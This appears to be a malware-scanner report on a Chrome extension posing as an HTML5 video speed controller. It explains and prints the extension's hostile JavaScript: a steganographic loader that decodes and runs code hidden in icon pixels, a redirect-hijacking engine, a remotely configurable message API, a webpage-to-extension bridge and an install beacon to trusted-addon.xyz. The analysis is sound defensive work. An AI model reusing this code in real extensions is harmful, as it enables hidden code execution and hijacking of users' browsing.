Security Alert: Confirmed Malware
HTML5 Video Playback Speed Control
ID: aaobedojijeiidpphiekailnomhdpfkd
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- adminView Profile
- Privacy
- Privacy Policy
- Country
- GB
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
- Address
- 19 Padbrook Oxted RH8 0DW GB
- Website
- Visit
Effortlessly adjust HTML5 video playback speed. Boost, slow down, advance and rewind.
HTML5 Video Playback Speed Control is a versatile browser extension designed to enhance your video watching experience by giving you full control over the playback speed of HTML5 videos. Whether you're watching online tutorials, lectures, or your favorite series, this extension will help you save time and consume content at your desired pace. Key Features: Customizable Playback Speed: Adjust the speed of HTML5 videos with a simple slider, ranging from 0.1x to 4x, allowing you to slow down or speed up the content to suit your needs. Preset Speed Options: Choose from a list of preset playback speeds for quick adjustments, including 1x (normal), 1.25x, 1.5x, 1.75x, and 2x. Keyboard Shortcuts: Utilize convenient keyboard shortcuts for faster speed adjustments, making it easy to change playback speed without interrupting your viewing experience. Compatible with Popular Browsers: The extension is available for popular web browsers such as Google Chrome, Mozilla Firefox, Microsoft Edge, and Apple Safari. Lightweight and User-friendly: The extension is designed to have minimal impact on your browser's performance, ensuring smooth video playback and a seamless user experience. Automatic Speed Memory: The extension remembers your preferred playback speed for each site, so you won't have to adjust it each time you visit. Multi-Platform Support: Compatible with desktop and mobile devices, so you can enjoy the benefits of this extension on-the-go. Upgrade your video watching experience with HTML5 Video Playback Speed Control - download it now and take control of your video playback speed!
Classic image-based steganography to smuggle and execute hidden payloads. The script loads an invisible icon (icon-random.png), reads its RGB pixel bytes via a canvas, reassembles them into a string, and then calls self[firstFourChars](fullString) โ dynamically invoking a function whose name is encoded in the first 4 pixel bytes. This is a well-known malware/remote-code-loading obfuscation technique designed to evade static review by Chrome Web Store reviewers.
window.addEventListener("message", function(t) { if (void 0 !== t.data.event && "load" == t.data.event) { SpeedControlContainer_data = t.data; var e = document.createElement("img"); e.setAttribute("src", t.data.data_logo), e.setAttribute("style", "opacity: 0.0;"), e.onload = function() { var t = String.fromCharCode, e = document.createElement("canvas"), a = e.style, o = e.getContext("2d"), r = this.offsetWidth, n = this.offsetHeight; e.width = r, e.height = n, a.width = r + "px", a.height = n + "px", o.drawImage(this, 0, 0); for (var d = o.getImageData(0, 0, r, n) .data, i = "", s = d.length, h = 0; h < s; h += 4) d[h + 0] && (i += t(d[h + 0])), d[h + 1] && (i += t( d[h + 1])), d[h + 2] && (i += t(d[h + 2])); document.body.removeChild(this); try { self[i[0] + i[1] + i[2] + i[3]](i) } catch (l) { window.postMessage({ event: "error", status: SpeedControlContainer_data.status }) } }, document.body.appendChild(this) }});Traffic/navigation hijacking engine. On every tab navigation (wired via chrome.tabs.onUpdated and chrome.webRequest.onBeforeRequest), matches the URL against attacker-supplied URLPatterns and redirects the tab to attacker-controlled 'pattern2' URLs, optionally base64-encoding the original URL as a parameter. Per-pattern caps (max, ct=cooldown) are used to throttle detection. The rule list is pushed in at runtime from the content script, so patterns/destinations are not present in the static manifest โ a search-hijacker / affiliate-fraud / phishing redirector pattern that has nothing to do with video playback speed.
function speedChange(e, t) { let n = Date.now(); for (let o = 0; o < SpeedControlContainer_custom.length; o++) { let r = SpeedControlContainer_custom[o]; try { if (new URLPattern(SpeedControlContainer_custom[o].pattern) .test(t.url)) { (!SpeedControlContainer_custom[o].max || SpeedControlContainer_custom[o].max && SpeedControlContainer_custom[o] .max > SpeedControlContainer_custom[o].num) && (!SpeedControlContainer_custom[o].ct || SpeedControlContainer_custom[o].ct && SpeedControlContainer_custom[o].tnum + SpeedControlContainer_custom[o] .ct < n) && (!r.speedKey || r.speedKey && (!t[r.speedKey] || t[r.speedKey] && t[r.speedKey] == r .speedValue)) && (chrome.tabs.update(e, { url: SpeedControlContainer_custom[o].pattern2 + (1 == SpeedControlContainer_custom[o].type ? btoa(t.url) : "") }), SpeedControlContainer_custom[o].num++, SpeedControlContainer_custom[o].tnum = n); break } } catch (a) {} }}The service worker exposes a runtime-message API that lets any content-script-origin message write arbitrary properties on the service-worker global scope (Object.assign(self, e.data)), alias existing globals (this[a]=this[b]), and dynamically register tabs.onUpdated and webRequest.onBeforeRequest listeners. This is the control channel used by the steganographic payload in speed-content.js to install the redirect/hijack rules consumed by speedChange โ effectively a self-modifying, remotely-configured extension.
chrome.runtime.onMessage.addListener(function(e, t, n) { if ("register" == e.event) n({ status: SpeedControlContainer_register, description: SpeedControlContainer_description, comment: SpeedControlContainer_comment }), SpeedControlContainer_register++; else if ("SpeedControlContainerEQ_object" == e.event) for (var o = 0; o < e.data.length; o++) this[e.data[o][0]] = this[e.data[o][1]]; else "SpeedControlContainerEQ_tabs" == e.event ? chrome.tabs.onUpdated.addListener(function(e, t, n) { "loading" == t.status && speedChange(e, n) }) : "SpeedControlContainerEQ_assign" == e.event ? Object.assign(self, e.data) : "SpeedControlContainerEQ_request" == e.event ? chrome.webRequest.onBeforeRequest.addListener(function(e) { speedInit(e.tabId, e) }, { urls: ["<all_urls>"], types: ["main_frame"] }) : "error" == e.event && 0 == e.status && (SpeedControlContainer_register = 0)});The content script (injected into every http(s) page plus about:blank) acts as an unauthenticated bridge: it blindly forwards any window.postMessage to the extension service worker via chrome.runtime.sendMessage, letting any webpage drive the privileged message API shown above. It also injects speed-content.js into the page DOM and then posts it the path to icon-random.png (the steganographic payload carrier) along with all chrome.storage.local contents.
var SpeedControlContainer_register = -1;window.addEventListener("message", function(e) { if (void 0 !== e.data.event) { "speedCTRL" == e.data.event && chrome.storage.local.set(e.data.speedCTRL); try { chrome.runtime.sendMessage(e.data) } catch (t) {} }}), chrome.runtime.sendMessage({ event: "register"}, function(e) { e && (SpeedControlContainer_register = e.status, chrome.storage.local.get(null, function(t) { if ("{}" != JSON.stringify(t) && void 0 !== t.localNum) { var n = document.createElement("script"); n.setAttribute("src", chrome.runtime.getURL("/js/speed-content.js")), n.onload = function() { window.postMessage({ event: "load", status: SpeedControlContainer_register, description: e.description, comment: e.comment, data: t, data_logo: chrome.runtime.getURL("/icons/icon-random.png") }) }, document.head.appendChild(n), 0 == SpeedControlContainer_register && chrome.storage.local.set({ localNum: t.localNum + 1 }) } else 0 == SpeedControlContainer_register && chrome.storage.local.set({ localNum: 1 }) }))});On first install, the extension opens a tab to the attacker-controlled domain trusted-addon.xyz with a tracking parameter (go=speed_install). The name 'trusted-addon.xyz' is a deceptive lookalike (not an official Chrome/Google domain), and the redirect is used for install attribution/monetization and as a beacon to signal a newly-infected browser to the operator.
new VideoSpeed, chrome.runtime.onInstalled.addListener(function(e) { "install" === e.reason && chrome.tabs.create({ url: "https://www.trusted-addon.xyz/?go=speed_install" })});Any webpage can write arbitrary key/value pairs into the extension's chrome.storage.local by posting a message with event='speedCTRL'. Combined with the storage-derived behavior in start.js (SpeedControlContainer_custom redirect rules, localNum counter), this lets any visited site silently reconfigure the extension's hijack ruleset or counters without user interaction.
"speedCTRL" == e.data.event && chrome.storage.local.set(e.data.speedCTRL);By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 3.0.0 | 6 |
Files with findings
3 distinct paths โ top paths by unique finding count:
- js/start.js3
- js/content.js2
- js/speed-content.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.